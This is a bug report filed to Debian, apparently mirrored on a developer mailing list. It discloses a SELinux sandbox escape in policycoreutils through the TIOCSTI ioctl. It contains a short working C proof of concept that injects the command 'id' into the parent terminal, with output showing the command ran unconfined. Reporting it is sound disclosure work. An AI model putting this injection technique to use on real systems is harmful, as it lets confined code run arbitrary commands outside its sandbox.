[DSE-Dev] Bug#838599: policycoreutils SELinux sandbox escape via TIOCSTI ioctl

[up201407890 at alunos.dcc.fc.up.pt]

Package: policycoreutils
Severity: important
Tags: security

Hi,

When executing a program via the SELinux sandbox, the nonpriv session  
can escape to the parent session by using the TIOCSTI ioctl to push  
characters into the terminal's input buffer, allowing an attacker to  
escape the sandbox.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
   char *cmd = "id\n";
   while(*cmd)
    ioctl(0, TIOCSTI, cmd++);
   execlp("/bin/id", "id", NULL);
}

$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
[saken at ghetto ~]$ id    <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)  
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks,
Federico Bento.

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